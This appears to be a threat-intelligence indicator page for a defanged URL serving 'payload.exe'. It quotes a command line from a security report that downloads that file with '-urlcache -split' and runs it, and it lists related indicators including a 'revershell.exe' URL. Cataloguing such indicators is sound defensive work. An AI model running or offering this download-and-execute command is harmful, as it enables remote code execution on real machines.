hxxp://192.168.1[.]100/payload.exeURL
Reported by 1 independent source · first reported by Elastic Security Labs · last reported
Last reported 7 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Beyond Behaviors: AI-Augmented Detection Engineering with ES|QL COMPLETION“-urlcache -split hxxp://192.168.1[.]100/payload.exe c:\\temp\\payload.exe; c:\\temp\\payload.exe"”
Indicators reported together
named in the same reports- kibana.alert.rule[.]namein 1 report
- kibana.alert.rule.threat.tactic[.]namein 1 report
- kibana.alert.rule.threat.technique[.]namein 1 report
- hxxp://10.100.100[.]10/machine?comp=goalstatein 1 report
- hxxp://10.100.100[.]10:9090/revershell.exein 1 report
Copy these 5 indicators · defanged
Thanks — we review every report.